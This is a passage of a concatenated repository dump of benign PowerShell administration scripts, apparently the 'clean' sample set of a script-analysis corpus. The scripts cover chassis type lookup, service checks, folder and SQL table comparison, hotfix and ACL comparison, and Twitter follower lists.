Storage Chassis"} 28 | "23" {"Chassis type is: $type - Rack Mount Chassis"} 29 | "24" {"Chassis type is: $type - Sealed-Case PC"} 30 | Default {"Chassis type is: $type - Unknown"} 31 | } 32 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Chassis Type_2.ps1: -------------------------------------------------------------------------------- 1 | $system = Get-WMIObject -class Win32_systemenclosure 2 | $type = $system.chassistypes 3 | 4 | Switch ($Type) 5 | { 6 | "1" {"Chassis type is: $Type - Other"} 7 | "2" {"Chassis type is: $type - Virtual Machine"} 8 | "3" {"Chassis type is: $type - Desktop"} 9 | "4" {"Chassis type is: $type - Low Profile Desktop"} 10 | "5" {"Chassis type is: $type - Pizza Box"} 11 | "6" {"Chassis type is: $type - Mini Tower"} 12 | "7" {"Chassis type is: $type - Tower"} 13 | "8" {"Chassis type is: $type - Portable"} 14 | "9" {"Chassis type is: $type - Laptop"} 15 | "10" {"Chassis type is: $type - Notebook"} 16 | "11" {"Chassis type is: $type - Handheld"} 17 | "12" {"Chassis type is: $type - Docking Station"} 18 | "13" {"Chassis type is: $type - All-in-One"} 19 | "14" {"Chassis type is: $type - Sub-Notebook"} 20 | "15" {"Chassis type is: $type - Space Saving"} 21 | "16" {"Chassis type is: $type - Lunch Box"} 22 | "17" {"Chassis type is: $type - Main System Chassis"} 23 | "18" {"Chassis type is: $type - Expansion Chassis"} 24 | "19" {"Chassis type is: $type - Sub-Chassis"} 25 | "20" {"Chassis type is: $type - Bus Expansion Chassis"} 26 | "21" {"Chassis type is: $type - Peripheral Chassis"} 27 | "22" {"Chassis type is: $type - Storage Chassis"} 28 | "23" {"Chassis type is: $type - Rack Mount Chassis"} 29 | "24" {"Chassis type is: $type - Sealed-Case PC"} 30 | Default {"Chassis type is: $type - Unknown"} 31 | } 32 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Check Chromium Build.ps1: -------------------------------------------------------------------------------- 1 | # Name : Check-LatestChromium.ps1 2 | # Author: David "Makovec" Moravec 3 | # Web : http://www.powershell.cz 4 | # Email : powershell.cz@googlemail.com 5 | # 6 | # Description: Check latest Chromium build 7 | # : Uses HttpRest http://poshcode.org/787 8 | # 9 | # Version: 0.1 10 | # History: 11 | # v0.1 - (add) build check 12 | # - (add) split to handle more return values 13 | # 14 | # ToDo: download file 15 | # unzip 16 | # check installed version of Chromium 17 | # 18 | # Usage: Check-LatestChromium 19 | # 20 | ################################################################# 21 | 22 | function Check-LatestChromium { 23 | 24 | $url = 'http://build.chromium.org/buildbot/snapshots/chromium-rel-xp/' 25 | $XPathRelDate = "//tr[position()=last()-2]//td[3]" 26 | $XPathBuild = "//tr[position()=last()-2]//td[2]//a" 27 | 28 | $page = Invoke-Http get $url 29 | 30 | $releaseDate = $page | Receive-Http text $XPathRelDate 31 | ($page | Receive-Http text $XPathBuild) -match "(?\\d*)" | Out-Null 32 | 33 | "Latest Build is: {0}, released at {1}" -f $matches.build, $releaseDate 34 | 35 | } 36 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Check Exchange2010 queue.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Clean/Check Exchange2010 queue.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Check PowerShell version.ps1: -------------------------------------------------------------------------------- 1 | 2 | #Check if PowerShell version 3 or higher is installed 3 | if($host.Version.Major -lt 3) 4 | { 5 | Write-Host "PowerShell Version 3 or higher needs to be installed" -ForegroundColor Red 6 | Write-Host "Windows Management Framework 3.0 - RC" -ForegroundColor Magenta 7 | Write-Host "http://www.microsoft.com/en-us/download/details.aspx?id=29939" -ForegroundColor Magenta 8 | Break 9 | } 10 | 11 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Check Service on Servers.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | Author: Matt Schmitt 3 | Date: 11/29/12 4 | Version: 1.0 5 | From: USA 6 | Email: ithink2020@gmail.com 7 | Website: http://about.me/schmittmatt 8 | Twitter: @MatthewASchmitt 9 | 10 | Description 11 | A script for checking the status of a service on a group of servers, from a list in a file. 12 | #> 13 | 14 | 15 | $serverList = Import-Csv 'c:\\serverList.csv' 16 | 17 | "Server" +"`t" + "Status" | Out-File c:\\ServerService.csv 18 | 19 | 20 | foreach ($element in $serverList) 21 | { 22 | 23 | $sStatus = get-service -Name "CPSVS" | Select-Object -expand Status 24 | 25 | $server = $element | Select-Object -expand Server 26 | 27 | $server + "`t" + $sStatus | Out-File -append c:\\ServerServiceStatus.csv 28 | 29 | } 30 | 31 | 32 | Send-MailMessage -From donotreply@test.com -To recipient@domain.com -subject "Spooler Service Report" -Body "Attached is Server Service report." -Attachments "c:\\ServerServiceStatus.csv" -SmtpServer "xxx.xxx.xxx.xxx" 33 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Check Service.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Clean/Check Service.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Check Service_1.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Clean/Check Service_1.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Check e-mail access type.ps1: -------------------------------------------------------------------------------- 1 | $ErrorActionPreference = "silentlycontinue" 2 | 3 | $login = read-host -prompt "Type the user login" 4 | 5 | $Status = @( Get-ADuser $login | select SamAccountName).count 6 | 7 | If($Status -eq 0) { 8 | 9 | Write-Host No such user exists! -FOREGROUNDCOLOR RED 10 | 11 | ./the_script_name.ps1 12 | 13 | } Else {Write-Host Working on it! -FOREGROUNDCOLOR GREEN 14 | 15 | 16 | } 17 | 18 | 19 | Get-Mailbox $login | Get-CASMailbox 20 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Check latest BIOS Rev.ps1: -------------------------------------------------------------------------------- 1 | $BiosRev = Get-WmiObject -Class Win32_BIOS -ComputerName $ComputerName -Credential $Credentials 2 | 3 | # Shortened URL for the Dell Support page, fileid=441102, appears to be the identifier for BIOS downloads 4 | # I tested this on a few different models of Dell workstations. 5 | 6 | $DellBIOSPage = "http://support.dell.com/support/downloads/download.aspx?c=us&cs=RC956904&l=en&s=hied&releaseid=R294848&SystemID=PLX_960&servicetag=$($BiosRev.SerialNumber)&fileid=441102" 7 | 8 | # This HTML code immediately preceed's the actual service tag, you can see it when you 'view source' on the page 9 | 10 | $DellPageVersionString = "" 11 | 12 | If ($BiosRev.Manufacturer -match "Dell") 13 | { 14 | $DellPage = (New-Object -TypeName net.webclient).DownloadString($DellBIOSPage) 15 | 16 | # Assuming that Dell BIOS rev's remain 3 characters, I find where my string starts and add the length to it 17 | # and the substring returns the BIOS rev. 18 | 19 | $DellCurrentBios = $DellPage.Substring($DellPage.IndexOf($DellPageVersionString)+$DellPageVersionString.Length,3) 20 | } 21 | 22 | If (($BiosRev.SMBIOSBIOSVersion -eq $DellCurrentBios) -eq $false) 23 | { 24 | # Something more interesting might go here, perhaps to actually download the latest installer 25 | 26 | Write-Host "For the latest bios for $($ComputerName)" 27 | Write-Host "Please visit $($DellBIOSPage)" 28 | } 29 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Claimtypes, ADFS SP2010.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Clean/Claimtypes, ADFS SP2010.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Cluster Windows.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Clean/Cluster Windows.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Colorize Subversion SVN.ps1: -------------------------------------------------------------------------------- 1 | ## SVN STAT colorizer - http://www.overset.com/2008/11/18/colorized-subversion-svn-stat-powershell-function/ 2 | function ss () { 3 | $c = @{ "A"="Magenta"; "D"="Red"; "C"="Yellow"; "G"="Blue"; "M"="Cyan"; "U"="Green"; "?"="DarkGray"; "!"="DarkRed" } 4 | foreach ( $svno in svn stat ) { 5 | if ( $c.ContainsKey($svno.ToString().SubString(0,1).ToUpper()) ) { 6 | write-host $svno -Fore $c.Get_Item($svno.ToString().SubString(0,1).ToUpper()).ToString() 7 | } else { 8 | write-host $svno 9 | } 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/ComObjects.Types.ps1: -------------------------------------------------------------------------------- 1 | 2 | 3 | System.__ComObject 4 | 5 | 6 | GetProperty 7 | 13 | 14 | 15 | SetProperty 16 | 20 | 21 | 22 | InvokeMethod 23 | 27 | 28 | 29 | 30 | 31 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Compare 2 foldertrees.ps1: -------------------------------------------------------------------------------- 1 | function Compare-Foldertrees 2 | { 3 | param( 4 | $path1, 5 | $path2 6 | ) 7 | 8 | 9 | $len1 = $path1.length 10 | $len2 = $path2.length 11 | 12 | . Require-function Get-MD5 13 | 14 | Write-Host "====== First path only =======`n" 15 | gci $path1 -rec | ? {! $_.PSISContainer} | % { 16 | $fileName1 = $_.fullName 17 | $fileName = $fileName1.substring($len1) 18 | $filename2 = $path2 + $fileName 19 | #$filename1 20 | #$filename2 21 | if (! (Test-Path $filename2)) 22 | { 23 | "$filename" 24 | } 25 | } 26 | 27 | Write-Host "`n====== Second path only =======`n" 28 | 29 | gci $path2 -rec | ? {! $_.PSISContainer} | % { 30 | $fileName2 = $_.fullName 31 | $fileName = $fileName2.substring($len2) 32 | $filename1 = $path2 + $fileName 33 | #$filename1 34 | #$filename2 35 | if (! (Test-Path $filename1)) 36 | { 37 | "$filename" 38 | } 39 | } 40 | 41 | 42 | Write-Host "`n====== Different =======`n" 43 | 44 | gci $path1 -rec | ? {! $_.PSISContainer} | % { 45 | $fileName1 = $_.fullName 46 | $fileName = $fileName1.substring($len1) 47 | $filename2 = $path2 + $fileName 48 | #$filename1 49 | #$filename2 50 | if ( (Test-Path $filename2)) 51 | { 52 | $md1 = Get-MD5($filename1) 53 | $md2 = Get-MD5($filename2) 54 | if ($md1 -ne $md2) 55 | { 56 | "$filename" 57 | } 58 | } 59 | } 60 | } 61 | 62 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Compare 2 foldertrees_1.ps1: -------------------------------------------------------------------------------- 1 | function Compare-Foldertrees 2 | { 3 | param( 4 | $path1, 5 | $path2 6 | ) 7 | 8 | 9 | $len1 = $path1.length 10 | $len2 = $path2.length 11 | 12 | . Require-function Get-MD5 13 | 14 | Write-Host "====== First path only =======`n" 15 | gci $path1 -rec | ? {! $_.PSISContainer} | % { 16 | $fileName1 = $_.fullName 17 | $fileName = $fileName1.substring($len1) 18 | $filename2 = $path2 + $fileName 19 | #$filename1 20 | #$filename2 21 | if (! (Test-Path $filename2)) 22 | { 23 | "$filename" 24 | } 25 | } 26 | 27 | Write-Host "`n====== Second path only =======`n" 28 | 29 | gci $path2 -rec | ? {! $_.PSISContainer} | % { 30 | $fileName2 = $_.fullName 31 | $fileName = $fileName2.substring($len2) 32 | $filename1 = $path2 + $fileName 33 | #$filename1 34 | #$filename2 35 | if (! (Test-Path $filename1)) 36 | { 37 | "$filename" 38 | } 39 | } 40 | 41 | 42 | Write-Host "`n====== Different =======`n" 43 | 44 | gci $path1 -rec | ? {! $_.PSISContainer} | % { 45 | $fileName1 = $_.fullName 46 | $fileName = $fileName1.substring($len1) 47 | $filename2 = $path2 + $fileName 48 | #$filename1 49 | #$filename2 50 | if ( (Test-Path $filename2)) 51 | { 52 | $md1 = Get-MD5($filename1) 53 | $md2 = Get-MD5($filename2) 54 | if ($md1 -ne $md2) 55 | { 56 | "$filename" 57 | & 'C:\\Program Files\\Microsoft Visual Studio 9.0\\Common7\\IDE\\diffmerge.exe' $fileName1 $filename2 58 | } 59 | } 60 | } 61 | } 62 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Compare SQL Tables II.ps1: -------------------------------------------------------------------------------- 1 | function Convert-TableToList 2 | { 3 | param( 4 | $t, 5 | $colid = 0 6 | ) 7 | $t | % {$_.item($colid)} 8 | } 9 | 10 | 11 | function Compare-Tables 12 | { 13 | param( 14 | $name, 15 | $db1, 16 | $db2, 17 | $exclude = @() 18 | ) 19 | 20 | # @bernd_k http://pauerschell.blogspot.com/ 21 | # requires on sqlise http://sqlpsx.codeplex.com/ 22 | 23 | $sql = "select name from sys.columns where object_id = object_id('$db1..$name') order by column_id" 24 | Invoke-ExecuteSql $sql 'variable' columns 25 | 26 | $columns = Convert-TableToList $columns | % { if ($exclude -notcontains $_) {$_} } 27 | $columnlist = $columns -join ', ' 28 | $sql = @" 29 | Select 1 [table], $columnlist from $db1..$name 30 | except 31 | Select 1 [table], $columnlist from $db2..$name 32 | union 33 | Select 2 [table], $columnlist from $db2..$name 34 | except 35 | Select 2 [table], $columnlist from $db1..$name 36 | ORDER by 2 37 | "@ 38 | $sql 39 | Invoke-ExecuteSql $sql 'grid' 40 | } 41 | 42 | # Compare-Table2 sometable db1 db2 -ex @('colx', 'coly') 43 | 44 | 45 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Compare Table & DataRow.ps1: -------------------------------------------------------------------------------- 1 | 2 | function Compare-DataRow 3 | { 4 | param( $a, $b) 5 | 6 | # @bernd_k http://pauerschell.blogspot.com/ 7 | 8 | $diff = '' 9 | $a_columncount = $a.Table.columns.count 10 | $b_columncount = $b.Table.columns.count 11 | 12 | if ( $a_columncount -ne $b_columncount) 13 | { 14 | Write-host "Tables have different number of columns" 15 | } 16 | foreach ( $i in 0..($a_columncount - 1)) 17 | { 18 | if ($a.item($i) -ne $b.item($i)) 19 | { 20 | $diff += ' ' + $a.item($i) + ' <> ' + $b.item($i) +';' 21 | } 22 | } 23 | $diff 24 | } 25 | 26 | function Compare-Table 27 | { 28 | param( $a, $b) 29 | 30 | # @bernd_k http://pauerschell.blogspot.com/ 31 | 32 | $diff = '' 33 | $a_rowcount = $a.Rows.count 34 | $b_rowcount = $b.Rows.count 35 | 36 | if ( $a_rowcount -ne $b_rowcount1) 37 | { 38 | Write-host "Tables have different number of columns" 39 | } 40 | foreach ( $i in 0..($a_rowcount - 1)) 41 | { 42 | Compare-DataRow $a.rows[$i] $b.rows[$i] 43 | } 44 | $diff 45 | } 46 | 47 | Compare-DataRow $a.tables[0].rows[0] $b.tables[0].rows[0] 48 | Compare-Table ($a.tables[0]) ($b.tables[0]) 49 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Compare Table & DataRow_1.ps1: -------------------------------------------------------------------------------- 1 | function Compare-DataRow 2 | { 3 | param( $a, $b) 4 | 5 | # @bernd_k http://pauerschell.blogspot.com/ 6 | 7 | $diff = '' 8 | $a_columncount = $a.Table.columns.count 9 | $b_columncount = $b.Table.columns.count 10 | 11 | if ( $a_columncount -ne $b_columncount) 12 | { 13 | Write-host "Tables have different number of columns" 14 | } 15 | foreach ( $i in 0..($a_columncount - 1)) 16 | { 17 | if ($a.item($i) -ne $b.item($i)) 18 | { 19 | $diff += ' ' + $a.item($i) + ' <> ' + $b.item($i) +';' 20 | } 21 | } 22 | $diff 23 | } 24 | 25 | function Compare-Table 26 | { 27 | param( $a, $b) 28 | 29 | # @bernd_k http://pauerschell.blogspot.com/ 30 | 31 | $diff = '' 32 | $a_rowcount = $a.Rows.count 33 | $b_rowcount = $b.Rows.count 34 | 35 | if ( $a_rowcount -ne $b_rowcount1) 36 | { 37 | Write-host "Tables have different number of columns" 38 | } 39 | foreach ( $i in 0..($a_rowcount - 1)) 40 | { 41 | Compare-DataRow $a.rows[$i] $b.rows[$i] 42 | } 43 | $diff 44 | } 45 | 46 | Compare-DataRow $a.tables[0].rows[0] $b.tables[0].rows[0] 47 | Compare-Table ($a.tables[0]) ($b.tables[0]) 48 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Compare Table & DataRow_2.ps1: -------------------------------------------------------------------------------- 1 | function Compare-DataRow 2 | { 3 | param( $a, $b) 4 | 5 | # @bernd_k http://pauerschell.blogspot.com/ 6 | 7 | $diff = '' 8 | $a_columncount = $a.Table.columns.count 9 | $b_columncount = $b.Table.columns.count 10 | 11 | if ( $a_columncount -ne $b_columncount) 12 | { 13 | Write-host "Tables have different number of columns" 14 | } 15 | foreach ( $i in 0..($a_columncount - 1)) 16 | { 17 | if ($a.item($i) -ne $b.item($i)) 18 | { 19 | $diff += ' ' + $a.item($i) + ' <> ' + $b.item($i) +';' 20 | } 21 | } 22 | $diff 23 | } 24 | 25 | function Compare-Table 26 | { 27 | param( $a, $b) 28 | 29 | # @bernd_k http://pauerschell.blogspot.com/ 30 | 31 | $diff = '' 32 | $a_rowcount = $a.Rows.count 33 | $b_rowcount = $b.Rows.count 34 | 35 | if ( $a_rowcount -ne $b_rowcount) 36 | { 37 | Write-host "Tables have different number of columns" 38 | } 39 | foreach ( $i in 0..($a_rowcount - 1)) 40 | { 41 | Compare-DataRow $a.rows[$i] $b.rows[$i] 42 | } 43 | $diff 44 | } 45 | 46 | Compare-DataRow $a.tables[0].rows[0] $b.tables[0].rows[0] 47 | Compare-Table ($a.tables[0]) ($b.tables[0]) 48 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Compare-ADUserGroups.ps1: -------------------------------------------------------------------------------- 1 | function Compare-ADUserGroups 2 | { 3 | #requires -pssnapin Quest.ActiveRoles.ADManagement 4 | param ( 5 | [string] $FirstUser = $(Throw "SAMAccountName required."), 6 | [string] $SecondUser = $(Throw "SAMAccountName required.") 7 | ) 8 | 9 | $a = (Get-QADUser $FirstUser).MemberOf 10 | $b = (Get-QADUser $SecondUser).MemberOf 11 | $c = Compare-Object -referenceObject $a -differenceObject $b 12 | $c 13 | 14 | } 15 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Compare-Drive.ps1: -------------------------------------------------------------------------------- 1 | param($ComputerName1,$ComputerName2) 2 | 3 | $a = gwmi win32_volume -filter "DriveType=3" -computername $ComputerName1 | where {@('Y:','Z:') -notcontains $_.DriveLetter} | select name, @{n='capacity'; e={[math]::truncate($_.Capacity/1GB)}} 4 | $b = gwmi win32_volume -filter "DriveType=3" -computername $ComputerName2 | where {@('Y:','Z:') -notcontains $_.DriveLetter} | select name, @{n='capacity'; e={[math]::truncate($_.Capacity/1GB)}} 5 | 6 | Compare-Object -ReferenceObject $a -DifferenceObject $b -Property name,capacity -PassThru | 7 | select-object name, @{n='ComputerName1';e={$ComputerName1}}, @{n='ComputerName2';e={$ComputerName2}}, 8 | @{n='Capacity1';e={$name = $_.name; $drive = $a | ? { $_.name -eq $name }; if ($drive.capacity) {$drive.capacity} else {0} }}, 9 | @{n='Capacity2';e={$name = $_.name; $drive = $b | ? { $_.name -eq $name }; if ($drive.capacity) {$drive.capacity} else {0} }} | 10 | Sort-Object -Property name -Unique 11 | 12 | #get-content .\\serverpairs.txt | %{$servers = $_ -split ','; .\\compare-drive.ps1 $servers[0] $servers[1] } | ogv 13 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Compare-Drive_1.ps1: -------------------------------------------------------------------------------- 1 | param($ComputerName1,$ComputerName2) 2 | 3 | $a = gwmi win32_volume -filter "DriveType=3" -computername $ComputerName1 | where {@('Y:','Z:') -notcontains $_.DriveLetter} | select name, @{n='capacity'; e={[math]::truncate($_.Capacity/1GB)}} 4 | $b = gwmi win32_volume -filter "DriveType=3" -computername $ComputerName2 | where {@('Y:','Z:') -notcontains $_.DriveLetter} | select name, @{n='capacity'; e={[math]::truncate($_.Capacity/1GB)}} 5 | 6 | Compare-Object -ReferenceObject $a -DifferenceObject $b -Property name,capacity -PassThru | 7 | select-object name, @{n='ComputerName1';e={$ComputerName1}}, @{n='ComputerName2';e={$ComputerName2}}, 8 | @{n='Capacity1';e={$name = $_.name; $drive = $a | ? { $_.name -eq $name }; if ($drive.capacity) {$drive.capacity} else {0} }}, 9 | @{n='Capacity2';e={$name = $_.name; $drive = $b | ? { $_.name -eq $name }; if ($drive.capacity) {$drive.capacity} else {0} }} | 10 | Sort-Object -Property name -Unique 11 | 12 | #get-content .\\serverpairs.txt | %{$servers = $_ -split ','; .\\compare-drive.ps1 $servers[0] $servers[1] } | ogv 13 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Compare-InstalledHotfix.ps1: -------------------------------------------------------------------------------- 1 | Function Compare-InstalledHotfix { 2 | param ( 3 | [parameter(Mandatory=$true,Position=0)] 4 | $server1, 5 | 6 | [parameter(Mandatory=$true,Position=1)] 7 | $server2, 8 | 9 | [parameter(Mandatory=$true,Position=3)] 10 | [Management.Automation.PSCredential] 11 | $credential 12 | ) 13 | 14 | $server1HotFix = get-hotfix -computer $server1 -Credential $credential | select HotfixId 15 | $server2HotFix = get-hotfix -computer $server2 -Credential $credential | select HotfixId 16 | 17 | $comparedHotfixes = compare-object $server2HotFix $server1HotFix -IncludeEqual 18 | 19 | $result = @(); 20 | 21 | foreach ($c in $comparedHotfixes) { 22 | $kbinfo = "" | select KB,$server1,$server2 23 | $kbinfo.KB = $c.InputObject.HotfixId 24 | switch ($c.SideIndicator) 25 | { 26 | "==" { 27 | write-host -ForegroundColor Green "Both servers have $($c.InputObject.HotfixId)" 28 | $kbinfo.($server1) = $true 29 | $kbinfo.($server2) = $true 30 | $result += $kbinfo 31 | } 32 | 33 | "=>" { 34 | write-host -ForegroundColor Yellow "$server1 has $($c.InputObject.HotfixId) but $server2 doesn't" 35 | $kbinfo.($server1) = $true 36 | $kbinfo.($server2) = $false 37 | $result += $kbinfo 38 | } 39 | 40 | "<=" { 41 | write-host -ForegroundColor Magenta "$server2 has $($c.InputObject.HotfixId) but $server1 doesn't" 42 | $kbinfo.($server1) = $false 43 | $kbinfo.($server2) = $true 44 | $result += $kbinfo 45 | } 46 | } # End Switch 47 | } # End foreach 48 | $result 49 | } # End Function 50 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Compare-PathAcl.ps1: -------------------------------------------------------------------------------- 1 | [CmdletBinding()] 2 | param( 3 | [string]$Path = 'C:\\', 4 | [string]$User1 = "$Env:USERDOMAIN\\$Env:UserName", 5 | [string]$User2 = "BuiltIn\\Administrators", 6 | [switch]$recurse 7 | ) 8 | foreach($fso in ls $path -recurse:$recurse) { 9 | $acl = @(get-acl $fso.FullName | select -expand Access | Where IdentityReference -in $user1,$user2) 10 | if($acl.Count -eq 1) { 11 | Write-Warning "Only $($acl[0].IdentityReference) has access to $($fso.FullName)" 12 | } elseif($acl.Count -eq 2) { 13 | if(compare-object $acl[0] $acl[1] -Property FileSystemRights, AccessControlType) { 14 | Write-Warning "Different rights to $($fso.FullName)" 15 | } 16 | } # if acl.count -eq 0 they're the same 17 | } 18 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Compare-Property.ps1: -------------------------------------------------------------------------------- 1 | ##############################################################################\n##\n## Compare-Property\n##\n## From Windows PowerShell Cookbook (O'Reilly)\n## by Lee Holmes (http://www.leeholmes.com/guide)\n##\n##############################################################################\n\n<#\n\n.SYNOPSIS\n\nCompare the property you provide against the input supplied to the script.\nThis provides the functionality of simple Where-Object comparisons without\nthe syntax required for that cmdlet.\n\n.EXAMPLE\n\nGet-Process | Compare-Property Handles gt 1000\n\n.EXAMPLE\n\nPS >Set-Alias ?? Compare-Property\nPS >dir | ?? PsIsContainer\n\n#>\n\nparam(\n ## The property to compare\n $Property,\n\n ## The operator to use in the comparison\n $Operator = "eq",\n\n ## The value to compare with\n $MatchText = "$true"\n)\n\nBegin { $expression = "`$_.$property -$operator `"$matchText`"" }\nProcess { if(Invoke-Expression $expression) { $_ } } 2 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Compare-TwitterNames.ps1: -------------------------------------------------------------------------------- 1 | #This script will compare the names of the people you follow on Twitter 2 | #and the people following you. It returns a comparison object consisting 3 | #of the Twitter name of a subject and a side indicator - 4 | #"<=" means that you are following a subject who is not following you, 5 | #"=>" means that you are followed by someone who you are not following. 6 | 7 | function GetTwitterNames([string]$query) 8 | { 9 | $wc = new-object System.Net.WebClient 10 | $wc.Credentials = $script:credential.GetNetworkCredential() 11 | 12 | $nbrofpeople = 0 13 | $page = "&page=" 14 | $names = @() 15 | 16 | do 17 | { 18 | $url = $query 19 | if ($nbrofpeople -gt 0) 20 | { 21 | $url = $url+$page+($nbrofpeople/100 +1) 22 | } 23 | 24 | [xml]$nameslist = $wc.DownloadString($url) 25 | 26 | $names += $nameslist.users.user | select name 27 | 28 | $nbrofpeople += 100 29 | } while ($names.count -eq $nbrofpeople) 30 | 31 | return $names 32 | } 33 | 34 | $twitter = "http://twitter.com/statuses/" 35 | $friends = $twitter + "friends.xml?lite=true" 36 | $followers = $twitter + "followers.xml?lite=true" 37 | 38 | $credential = Get-Credential 39 | 40 | $friendslist = GetTwitterNames($friends) 41 | $followerslist = GetTwitterNames($followers) 42 | 43 | compare-object $friendslist $followerslist -SyncWindow (($friendslist.count)/2) -Property name 44 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Compare-TwitterNames_1.ps1: -------------------------------------------------------------------------------- 1 | #This script will compare the names of the people you follow on Twitter 2 | #and the people following you. It returns a comparison object consisting 3 | #of the Twitter name of a subject and a side indicator - 4 | #"<=" means that you are following a subject who is not following you, 5 | #"=>" means that you are followed by someone who you are not following. 6 | 7 | function GetTwitterNames([string]$query) 8 | { 9 | $wc = new-object System.Net.WebClient 10 | $wc.Credentials = $script:credential.GetNetworkCredential() 11 | 12 | $nbrofpeople = 0 13 | $page = "&page=" 14 | $names = @() 15 | 16 | do 17 | { 18 | $url = $query 19 | if ($nbrofpeople -gt 0) 20 | { 21 | $url = $url+$page+($nbrofpeople/100 +1) 22 | } 23 | 24 | [xml]$nameslist = $wc.DownloadString($url) 25 | 26 | $names += $nameslist.users.user | select name 27 | 28 | $nbrofpeople += 100 29 | } while ($names.count -eq $nbrofpeople) 30 | 31 | return $names 32 | } 33 | 34 | $twitter = "http://twitter.com/statuses/" 35 | $friends = $twitter + "friends.xml?lite=true" 36 | $followers = $twitter + "followers.xml?lite=true" 37 | 38 | $credential = Get-Credential 39 | 40 | $friendslist = GetTwitterNames($friends) 41 | $followerslist = GetTwitterNames($followers) 42 | 43 | $sync = 0 44 | if ($friendslist.count -gt $followerslist.count) 45 | { 46 | $sync = ($friendslist.count)/2 47 | } 48 | else 49 | { 50 | $sync = ($followerslist.count)/2 51 | } 52 | 53 | compare-object $friendslist $followerslist -SyncWindow ($sync) -Property name 54 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Compare-TwitterNames_2.ps1: -------------------------------------------------------------------------------- 1 | #This script will compare the names of the people you follow on Twitter 2 | #and the people following you. It returns a comparison object consisting 3 | #of the Twitter name of a subject and a side indicator - 4 | #"<=" means that you are following a subject who is not following you, 5 | #"=>" means that you are followed by someone who you are not following. 6 | 7 | function GetTwitterNames([string]$query) 8 | { 9 | $wc = new-object System.Net.WebClient 10 | $wc.Credentials = $script:credential.GetNetworkCredential() 11 | 12 | $nbrofpeople = 0 13 | $page = "&page=" 14 | $names = @() 15 | 16 | do 17 | { 18 | $url = $query 19 | if ($nbrofpeople -gt 0) 20 | { 21 | $url = $url+$page+($nbrofpeople/100 +1) 22 | } 23 | 24 | [xml]$nameslist = $wc.DownloadString($url) 25 | 26 | $names += $nameslist.users.user | select name 27 | 28 | $nbrofpeople += 100 29 | } while ($names.count -eq $nbrofpeople) 30 | 31 | return $names 32 | } 33 | 34 | $twitter = "http://twitter.com/statuses/" 35 | $friends = $twitter + "friends.xml?lite=true" 36 | $followers = $twitter + "followers.xml?lite=true" 37 | 38 | $credential = Get-Credential 39 | 40 | $friendslist = GetTwitterNames($friends) 41 | $followerslist = GetTwitterNames($followers) 42 | 43 | $sync = 0 44 | if ($friendslist.count -gt $followerslist.count) 45 | { 46 | $sync = ($friendslist.count)/2 47 | } 48 | else 49 | { 50 | $sync = ($followerslist.count)/2 51 | } 52 | 53 | $Status = @{Name='Status';Expression={if ($_.sideindicator -like '=>') {'Followed By'} else {'Following'}}} 54 | 55 | compare-object $friendslist $followerslist -SyncWindow ($sync) -Property name | Select-Object Name, $Status 56 | -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Compiled-Help 1.1.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/danielbohannon/DevSec-Defense/05fe246f109f9fddd033b8ca289a45c71ef2de08/PSScriptAnalyzer/Samples/Clean/Compiled-Help 1.1.ps1 -------------------------------------------------------------------------------- /PSScriptAnalyzer/Samples/Clean/Compress-Bitmap.ps1: -------------------------------------------------------------------------------- 1 | function Compress-Bitmap { 2 | PARAM( 3 | [Parameter(Mandatory=$true, ValueFromPipeline=$true)] 4 | [IO.FileInfo]$SourceFile 5 | , 6 | [Parameter(Mandatory=$true, Position=1)] 7 | [String]$DestinationFile 8 | , 9 | [Parameter(Mandatory=$false)] 10 | [Int]$Width 11 | , [Parameter(Mandatory=$false)] 12 | 